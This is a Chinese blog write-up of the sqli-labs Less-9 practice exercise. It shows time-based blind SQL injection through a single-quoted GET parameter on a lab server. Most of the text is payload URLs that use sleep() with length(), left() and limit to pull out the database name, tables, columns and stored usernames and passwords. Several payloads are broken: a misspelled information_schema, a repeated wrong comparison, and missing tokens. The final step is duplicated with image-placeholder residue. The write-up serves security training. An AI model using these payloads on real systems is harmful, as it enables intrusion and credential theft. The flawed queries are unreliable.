less-9-基于时间的GET单引号盲注

发布于:2025-06-19 ⋅ 阅读:(14) ⋅ 点赞:(0)

环境:

目标网站:192.168.99.122:9000/sqli-labs-master/Less-9

攻击环境:浏览器

目标:

获取目标网站数据库的用户名和密码

步骤

1.部署靶场
2.打开浏览器,输入目标网站并输入参数

当id=1时为页面返回正常

image-20211116224309977
当id=-1时页面返回正常

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=-1

image-20211116224341356
'页面返回正常

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'

image-20211116224324106

sleep() --+页面返回异常,页面出现延迟,说明存在SQL注入,结合上方步骤可以判断为基于时间的GET单引号盲注

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and sleep(5) --+

image-20211117092206494

用到的函数:

**length:**返回字符串所占的字节数

sleep:时间延迟函数

sleep(1)页面正常无反应,异常则返回1秒延迟

limit(参数1,参数2)
参数1代表:返回第几行,从0开始算
参数2代表:返回几条数据。

left(str,len)

截取字符串,丛左到右截取len个字符

left(hello,1) 则返回结果为h

left(hello,2) 则返回结果为he

注:

此时不能使用group_concat()函数,该函数的意思是所查询的数据合成一条数据,中间使用分割,而limit()只能返回某一行,如果使用group_concat()返回一行数据,则不能判别表的名字。

二分法

二分查找又称折半查找,优点是比较次数少,查找速度快,平均性能好;其缺点是要求待查表为有序表,且插入删除困难。因此,折半查找方法适用于不经常变动而查找频繁的有序列表。首先,假设表中元素是按升序排列,将表中间位置记录的关键字与查找关键字比较,如果两者相等,则查找成功;否则利用中间位置记录将表分成前、后两个子表,如果中间位置记录的关键字大于查找关键字,则进一步查找前一子表,否则进一步查找后一子表。重复以上过程,直到找到满足条件的记录,使查找成功,或直到子表不存在为止,此时查找不成功。

1.通过二分法猜解数据库的长度:

首先我们判断数据库名称的长度是否等于6,结果页面没有延迟,说明数据库名称长度不等于6

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and if(length(database())=6,sleep(5),1)--+

image-20211117094026418

判断数据库名称的长度是否大于6,页面出现了延迟,说明数据库名称长度大于6

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and if(length(database())>6,sleep(5),1)--+

image-20211117094053210

判断数据库名称的长度是否等于8,页面出现明显延迟,说明数据库名称长度等于8

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' if(length(database())=8,sleep(5),1)--+

image-20211117094141120

2.根据二分法和left()函数逐个判断数据库的名称

通过left()函数逐个返回字符,同时可以根据小于号大于号缩小范围判断正确的字符

判断第一个字符

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(left(database(),1)='s',sleep(5),1) --+

image-20211117094239824

判断第二个字符

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(left(database(),2)='se',sleep(5),1) --+

image-20211117094512698

判断第三个字符

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1' and if(left(database(),3)='sec',sleep(5),1) --+

image-20211117094610792

直到

 http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(left(database(),8)='security',sleep(5),1)

得到数据库的名称为‘security’

3.猜解‘security’数据库中有多少个表:

猜测有3个表,页面未出现延迟,说明该数据库中表的数量不是3个

 http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(((select count(*) from information_schema.tables where table_schema='security')=3),sleep(5),1) --+

image-20211117095313071

猜测有4个表,页面出现明显延迟,说明该数据库中表的数量为4

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(((select count(*) from information_schema.tables where table_schema='security')=3),sleep(5),1) --+

image-20211117095211894

  1. 猜解每个表名称的长度

    猜测第一个表名的长度

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>8,sleep(5),1) --+

image-20211117095825130

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+

image-20211117095801234

更换limit参数

逐步猜解每个表

http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(5),1) --+
http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 2,1))=7,sleep(5),1) --+
http://192.168.99.122:9000/sqli-labs-master/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(5),1) --+

6.判断表的名称

猜解第一个表的第一个字符

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1),1)='e',sleep(5),1) --+

image-20211117100227815

猜解第一个表的第2个字符

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema='security' LIMIT 0,1),2)='em',sleep(5),1) --+

image-20211117100323300

更换limit()和left()参数

其中

limit(0,1) 第一个表

limit(1,1) 第二个表

最后得到表的名称:emails,refers,uagents,users

7.猜解users表中字段的个数

http://192.168.99.122:9000/Less-9/?id=1' and if(((select count(*) from informaion_shchema.columns where table_name='users')=7),sleep(5),1) --+

image-20211117100919510

http://192.168.99.122:9000/Less-9/?id=1' and ((select count(*) from informaion_shchema.columns where table_name='users')=6) --+

image-20211117100900064

8.猜解users中字段的名称

判断每个字段名称的长度

http://192.168.99.122:9000/Less-9/?id=1' and if(length((select column_name from informaion_shchema.columns where table_name='users' limit 3,1))=2,sleep(5),1) --+

image-20211117102646843

猜解字段的字段的值

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select column_name from informaion_shchema.columns where table_name='users' limit 3,1),1) ='i',sleep(5),1) --+

image-20211117103105329

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select column_name from informaion_shchema.columns where table_name='users' limit 3,1),2) ='id',sleep(5),1) --+

image-20211117103204403

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select column_name from informaion_shchema.columns where table_name='users' limit 4,1),8) ='username',sleep(5),1) --+

image-20211117103419950

逐步猜解

最后得到字段名称USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id ,username,password

9.猜解users表中username字段中的数据的长度

http://192.168.99.122:9000/Less-9/?id=1' and if(length((select username from security.users limit 0,1)) =4,sleep(5),1) --+

image-20211117103657379猜解users表中password字段中的数据的长度

http://192.168.99.122:9000/Less-9/?id=1' and if(length((select password  from security.users limit 0,1)) =4,sleep(5),) --+

image-20211117103747018

10.猜解username和password字段中的数据

http://192.168.99.122:9000/Less-9/?id=1' and if(left((select password  from security.users limit 0,1),1) ='D',sleep(5),1) --+

image-20211117103958593

最后猜解出数据库中的用户名密码


[外链图片转存中...(img-Av2OZo9B-1750215737618)]

**10.猜解username和password字段中的数据**

http://192.168.99.122:9000/Less-9/?id=1’ and if(left((select password from security.users limit 0,1),1) =‘D’,sleep(5),1) --+

[外链图片转存中...(img-iyQVxcFF-1750215737618)]

最后猜解出数据库中的用户名密码


网站公告

今日签到

点亮在社区的每一天
去签到